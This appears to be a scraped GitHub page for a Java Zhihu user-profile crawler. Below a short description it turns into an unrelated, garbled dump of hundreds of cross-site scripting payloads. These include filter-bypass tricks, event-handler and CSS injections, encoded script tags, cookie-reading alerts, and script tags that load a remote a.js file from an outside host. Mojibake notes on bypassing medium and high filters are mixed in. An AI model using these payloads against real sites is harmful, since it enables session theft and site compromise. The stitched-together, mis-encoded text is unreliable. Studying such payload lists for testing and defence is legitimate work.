yhisme / JavaZhiHuSpider

java知乎爬虫

JavaZhiHuSpider

java知乎爬虫：爬取用户信息 已爬10w（理论能爬完所有关注了任意话题的用户信息）

没有使用框架,httpclient连接池+线程池+正则实现.

厚颜无耻的挂上博客HacL+求波星 :）

<script>alert("XSS")</script> <script>alert(123)</script>

´úÂë¹ýÂË£º medium--> ˫дÈƹý£º<sc<script>ript>alert(/xss/)</script> ´óСд»ìÏýÈƹý£º<ScRipt>alert(/xss/)</script> high-->ͨ¹ýimg¡¢bodyµÈ±êÇ©µÄʼþ»òÕßiframeµÈ±êÇ©µÄsrc×¢Èë¶ñÒâµÄjs´úÂë: prompt(¡®qq¡¯) onmouseover=¡¯alert(xss)¡¯ onmouseover=¡¯prompt(qq)¡¯

<script>alert('hello£¬gaga!');</script>

"'> "'><script>alert('XSS')</script>

"+alert('XSS')+" '><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> alert('XSS')</script>

%0a%0a<script>alert(\"Vulnerable\")</script>.jsp %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html <script>alert('Vulnerable')</script> a.jsp/<script>alert('Vulnerable')</script> "><script>alert('Vulnerable')</script>

"

";'>out

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

</IFRAME>

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> alert('XSS');</STYLE> .XSS{background-image:url("javascript.:alert('XSS')");}</STYLE> BODY{background:url("javascript.:alert('XSS')")}</STYLE> getURL("javascript.:alert('XSS')") a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d); "> <SCRIPT>function a(){alert('XSS');}</SCRIPT><" </SCRIPT> </SCRIPT>">http://xss.ha.ckers.org/a.js"></SCRIPT> "SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> </SCRIPT>">http://xss.ha.ckers.org/a.js"></SCRIPT> '"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT>document.write("PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT> link javascript:alert(1);</script> javascript:alert(2);</script> javascript:alert(3);</script> javascript:alert(4);</script> javascript:alert(5);</script> javascript:alert(6);</script> javascript:alert(7);</script> '`"><\x3Cscript>javascript:alert(8)</script> '`"><\x00script>javascript:alert(9)</script> <script src=16 href=16 onerror="javascript:alert(16)"></script> <title onPropertyChange title onPropertyChange="javascript:javascript:alert(18)"></title onPropertyChange> <iframe onLoad iframe onLoad="javascript:javascript:alert(19)"></iframe onLoad> <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(23)"></script onReadyStateChange> <style onLoad style onLoad="javascript:javascript:alert(34)"></style onLoad> <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(35)"></iframe onReadyStateChange> <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(37)"></style onReadyStateChange> <script onLoad script onLoad="javascript:javascript:alert(41)"></script onLoad> <iframe onload iframe onload="javascript:javascript:alert(63)"></iframe onload> <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(70)"></iframe onbeforeload> <iframe src iframe src="javascript:javascript:alert(71)"></iframe src> \x3Cscript>javascript:alert(75)</script> '"`><script>/* *\x2Fjavascript:alert(76)// */</script> <script>javascript:alert(77)javascript:alert(78)javascript:alert(79)

<script>a='hello\x27;javascript:alert(88)//';</script>

test test test test test test test test test test test test test test <script>/* *\x2A/javascript:alert(103)// */</script> <script>/* *\x00/javascript:alert(104)// */</script> <style></style> <style></style> <style></style> <style></style> <style></style> "'`>ABC

DEF "'`>ABC

DEF <script>if("x\\xE112\x96\x89".length==2) { javascript:alert(112);}</script> <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(113);}</script> <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(114);}</script> '`"><\x3Cscript>javascript:alert(115)</script> '`"><\x00script>javascript:alert(116)</script> "'`><\x3Cimg src=xxx:x onerror=javascript:alert(117)> "'`><\x00img src=xxx:x onerror=javascript:alert(118)> <script src="data:text/plain\x2Cjavascript:alert(119)"></script> <script src="data:\xD4\x8F,javascript:alert(120)"></script> <script src="data:\xE0\xA4\x98,javascript:alert(121)"></script> <script src="data:\xCB\x8F,javascript:alert(122)"></script> javascript:alert(123);</script> javascript:alert(124);</script> javascript:alert(125);</script> javascript:alert(126);</script> javascript:alert(127);</script> javascript:alert(128);</script> javascript:alert(129);</script> ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF ABC

DEF test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> "`'><script>\x3Bjavascript:alert(224)</script> "`'><script>\x0Djavascript:alert(225)</script> "`'><script>\xEF\xBB\xBFjavascript:alert(226)</script> "`'><script>\xE2\x80\x8227javascript:alert(227)</script> "`'><script>\xE2\x80\x84javascript:alert(228)</script> "`'><script>\xE3\x80\x80javascript:alert(229)</script> "`'><script>\x09javascript:alert(230)</script> "`'><script>\xE2\x80\x89javascript:alert(231)</script> "`'><script>\xE2\x80\x85javascript:alert(232)</script> "`'><script>\xE2\x80\x88javascript:alert(233)</script> "`'><script>\x00javascript:alert(234)</script> "`'><script>\xE2\x80\xA8javascript:alert(235)</script> "`'><script>\xE2\x80\x8Ajavascript:alert(236)</script> "`'><script>\xE237\x9A\x80javascript:alert(237)</script> "`'><script>\x0Cjavascript:alert(238)</script> "`'><script>\x2Bjavascript:alert(239)</script> "`'><script>\xF0\x90\x96\x9Ajavascript:alert(240)</script> "`'><script>-javascript:alert(241)</script> "`'><script>\x0Ajavascript:alert(242)</script> "`'><script>\xE2\x80\xAFjavascript:alert(243)</script> "`'><script>\x7Ejavascript:alert(244)</script> "`'><script>\xE2\x80\x87javascript:alert(245)</script> "`'><script>\xE2\x8246\x9Fjavascript:alert(246)</script> "`'><script>\xE2\x80\xA9javascript:alert(247)</script> "`'><script>\xC2\x85javascript:alert(248)</script> "`'><script>\xEF\xBF\xAEjavascript:alert(249)</script> "`'><script>\xE2\x80\x83javascript:alert(250)</script> "`'><script>\xE2\x80\x8Bjavascript:alert(251)</script> "`'><script>\xEF\xBF\xBEjavascript:alert(252)</script> "`'><script>\xE2\x80\x80javascript:alert(253)</script> "`'><script>\x2254javascript:alert(254)</script> "`'><script>\xE2\x80\x82javascript:alert(255)</script> "`'><script>\xE2\x80\x86javascript:alert(256)</script> "`'><script>\xE257\xA0\x8Ejavascript:alert(257)</script> "`'><script>\x0Bjavascript:alert(258)</script> "`'><script>\x20javascript:alert(259)</script> "`'><script>\xC2\xA0javascript:alert(260)</script> "/> "/> "/> "/> "/> "/> "/> "/> "/> javascript:alert(270)</script> javascript:alert(271)</script> javascript:alert(272)</script> javascript:alert(273)</script> javascript:alert(274)</script> javascript:alert(275)</script> javascript:alert(276)</script> `"'> `"'> `"'> `"'> `"'> `"'> `"'> <script>javascript:alert(284)<\x00/script>

<style>

XXX <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(304)</SCRIPT> alert(308)</script>0

<script>document.getElementById("div2").innerHTML = document.getElementById("div309").innerHTML;</script> <script src="javascript:alert(314)">

x <script>javascript:alert(316)</script>"> <script>javascript:alert(317)</script>"> <script>javascript:alert(318)</script>"> "> <% foo>

<script>d.innerHTML=d.innerHTML</script> XXX <title onpropertychange=javascript:alert(360)></title><title title=> X <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(368)'}{}*{-o-link-source:current}]{color:red};</style> @import "data:,*%7bx:expression(javascript:alert(370))%7D";</style> XXXXXX <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(376))}</style>

X <script>({set/**/$($){_/**/setter=$,_=javascript:alert(384)}}).$=eval</script> <script>({0:#0=eval/#0#/#0#(javascript:alert(385))})</script> <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(386)}),x</script> <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(387)')()</script> ¼script¾javascript:alert(390)¼/script¾ X 392 393 395 XXX

x

<script>javascript:alert(405)</script>
<STYLE>li {list-style-image: url("javascript:javascript:alert(429)");}</STYLE>

• XSS <IFRAME SRC="javascript:javascript:alert(432);"></IFRAME>

<STYLE TYPE="text/javascript">javascript:alert(439);</STYLE> <STYLE>.XSS{background-image:url("javascript:javascript:alert(440)");}</STYLE> <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(441)")}</STYLE> XSS""","XML namespace."),("""<IMG SRC="javascript:javascript:alert(446)"> X <STYLE>a{background:url('s454' 's2)}@import javascript:javascript:alert(454);');}</STYLE> &&javascript:alert(455)&&;&&<&&/script&&> <SCRIPT onreadystatechange=javascript:javascript:alert(456);></SCRIPT> <style onreadystatechange=javascript:javascript:alert(457);></style> javascript:alert(458); ]] test467 test468 <iframe srcdoc="<iframe/srcdoc=&lt;img/src=&apos;&apos;onerror=javascript:alert(470)&gt;>"> ';alert(471))//';alert(471))//"; alert(472))//";alert(472))//-- ></SCRIPT>">'><SCRIPT>alert(473))</SCRIPT> xxs link xxs link <SCRIPT>alert(483)</SCRIPT>"> perl -e 'print "";' > out <<SCRIPT>alert(500);//<</SCRIPT> <SCRIPT>alert(506);</SCRIPT> <STYLE>li {list-style-image: url("javascript:alert(511)");}</STYLE> XSS <STYLE>@im\port'\ja\vasc\ript:alert(522)';</STYLE> exp/* <STYLE TYPE="text/javascript">alert(525);</STYLE> <STYLE>.XSS{background-image:url("javascript:alert(526)");}</STYLE> <STYLE type="text/css">BODY{background:url("javascript:alert(527)")}</STYLE> <STYLE type="text/css">BODY{background:url("javascript:alert(528)")}</STYLE> ¼script¾alert(531)¼/script¾ <IFRAME SRC="javascript:alert(535);"></IFRAME> <IFRAME SRC=# onmouseover="alert(536)"></IFRAME> alert(549)</SCRIPT>'); ?> +ADw-SCRIPT+AD4-alert(553);+ADw-/SCRIPT+AD4- /*%00*/alert(577)/*%00*/</script /*%00*/ <meta content="&NewLine; 580 &NewLine;; JAVASCRIPT&colon; alert(580)" http-equiv="refresh"/> <form>&lt;iframe &#09;&#5880;&#588588; src="javascript&#58;alert(588)"&#588588;&#5880;&#09;;> <a href="http://www.google&lt;script">http://www.google&lt;script</a> .com>alert(590)&lt;/script &lt;script ^__^>alert(594))&lt;/script ^__^ &lt;/style &#32;>&lt;script &#32; :-(>/**/alert(595)/**/&lt;/script &#32; :-( &#00;</form><input type&#6596;"date" onfocus="alert(596)"> <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(600)&NewLine;>X</a> &lt;script ~~~>alert(601)&lt;/script ~~~> <iframe/%00/ src=javaSCRIPT&colon;alert(609) <%<!--'%>&lt;script>alert(626);&lt;/script --> &lt;script src="data:text/javascript,alert(627)">&lt;/script> <iframe/onreadystatechange=alert(629) <svg/onload=alert(630) <input type="text" value=`` <div/onmouseover='alert(632)'>X</div> <a href="http://www.&lt;script>alert(633)&lt;/script">http://www.&lt;script>alert(633)&lt;/script</a> .com <svg>&lt;script ?>alert(635) <img src=`xx:xx`onerror=alert(637)> <meta http-equiv="refresh" content="0;javascript&colon;alert(639)"/> &lt;script>+-+-649-+-+alert(649)&lt;/script> <body/onload=&lt;!--&gt;&#6500alert(650)> &lt;script itworksinallbrowsers>/*<script* */alert(651)&lt;/script <img src ?itworksonchrome?\/onerror = alert(652) <svg>&lt;script onlypossibleinopera:-)> alert(654) &lt;script x> alert(656) &lt;/script 656=2 <div/onmouseover='alert(657)'> style="x:"> <--`<img/src=` onerror=alert(658)> --!> <div style="position:absolute;top:0;left:0;width:66000%;height:66000%" onmouseover="prompt(660)" onclick="alert(660)">x</button> <form><button formaction=javascript&colon;alert(662)>CLICKME ‘; alert(667); ‘)alert(668);// &lt;ScRiPt>alert(669)&lt;/sCriPt> <IMG SRC=jAVasCrIPt:alert(670)> <IMG SRC=”javascript:alert(671);”> <IMG SRC=javascript:alert(672)> <IMG SRC=javascript:alert(673)> <img src=xss onerror=alert(674)> <img src=`%00`&NewLine; onerror=alert(681)&NewLine; &lt;script /*%00*/>/*%00*/alert(685)/*%00*/&lt;/script /*%00*/ <iframe/src="data:text/html,<svg &#687687687;&#6876870;load=alert(687)>"> <meta content="&NewLine; 688 &NewLine;; JAVASCRIPT&colon; alert(688)" http-equiv="refresh"/> <form>&lt;iframe &#09;&#6960;&#696696; src="javascript&#58;alert(696)"&#696696;&#6960;&#09;;> <a href="http://www.google&lt;script">http://www.google&lt;script</a> .com>alert(698)&lt;/script &lt;script ^__^>alert(702))&lt;/script ^__^ &lt;/style &#32;>&lt;script &#32; :-(>/**/alert(703)/**/&lt;/script &#32; :-( &#00;</form><input type&#6704;"date" onfocus="alert(704)"> <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(708)&NewLine;>X</a> &lt;script ~~~>alert(709)&lt;/script ~~~> <iframe/%00/ src=javaSCRIPT&colon;alert(717) <%<!--'%>&lt;script>alert(734);&lt;/script --> &lt;script src="data:text/javascript,alert(735)">&lt;/script> <iframe/onreadystatechange=alert(737) <svg/onload=alert(738) <input type="text" value=`` <div/onmouseover='alert(740)'>X</div> <a href="http://www.&lt;script>alert(741)&lt;/script">http://www.&lt;script>alert(741)&lt;/script</a> .com <svg>&lt;script ?>alert(743) <img src=`xx:xx`onerror=alert(745)> <meta http-equiv="refresh" content="0;javascript&colon;alert(746)"/> &lt;script>+-+-756-+-+alert(756)&lt;/script> <body/onload=&lt;!--&gt;&#7570alert(757)> &lt;script itworksinallbrowsers>/*<script* */alert(758)&lt;/script <img src ?itworksonchrome?\/onerror = alert(759) <svg>&lt;script onlypossibleinopera:-)> alert(761) &lt;script x> alert(763) &lt;/script 763=2 <div/onmouseover='alert(764)'> style="x:"> <--`<img/src=` onerror=alert(765)> --!> <div style="xg-p:absolute;top:0;left:0;width:76700%;height:76700%" onmouseover="prompt(767)" onclick="alert(767)">x</button> <form><button formaction=javascript&colon;alert(769)>CLICKME ‘;alert(775))//’;alert(775))//”;alert(775))//”;alert(775))//–>&lt;/SCRIPT>”>’>&lt;SCRIPT>alert(775))&lt;/SCRIPT> <IMG “””>&lt;SCRIPT>alert(776)&lt;/SCRIPT>”> <IMG SRC=javascript:alert(777))> <IMG SRC=”jav ascript:alert(778);”> <IMG SRC=”jav&#x09;ascript:alert(779);”> <&lt;SCRIPT>alert(780);//<&lt;/SCRIPT> %253cscript%253ealert(781)%253c/script%253e “><s”%2b”cript>alert(782)&lt;/script> foo&lt;script>alert(783)&lt;/script> <scr&lt;script>ipt>alert(784)</scr&lt;/script>ipt> <BODY BACKGROUND=”javascript:alert(788)”> <BODY ONLOAD=alert(789)> <INPUT TYPE=”IMAGE” SRC=”javascript:alert(790);”> <IMG SRC=”javascript:alert(791)” javascript:alert(793) <img src="javascript:alert(794);"> <img src=javascript:alert(795)> <"';alert(796))//\';alert(796))//";alert(796))//\";alert(796))//-->&lt;/SCRIPT>">'>&lt;SCRIPT>alert(796))&lt;/SCRIPT> &lt;IFRAME SRC="javascript:alert(798);">&lt;/IFRAME> <&lt;SCRIPT>alert(805);//<&lt;/SCRIPT> <"';alert(806))//\';alert(806))//";alert(806))//\";alert(806))//-->&lt;/SCRIPT>">'>&lt;SCRIPT>alert(806))&lt;/SCRIPT> ';alert(807))//\';alert(807))//";alert(807))//\";alert(807))//-->&lt;/SCRIPT>">'>&lt;SCRIPT>alert(807))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search &lt;script>alert(808)&lt;/script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510